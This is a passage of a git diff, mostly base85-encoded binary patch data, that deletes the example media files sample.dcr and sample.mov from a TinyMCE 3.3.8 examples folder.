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 diff --git a/tinymce-3.3.8/examples/media/sample.dcr b/tinymce-3.3.8/examples/media/sample.dcr deleted file mode 100644 index 353b3ce67d2372f48acb3264f992f9a9d29115a8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6774 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 diff --git a/tinymce-3.3.8/examples/media/sample.mov b/tinymce-3.3.8/examples/media/sample.mov deleted file mode 100644 index 9c0a0932c5be644ceca99e48cce317b0643918e6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 55622 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 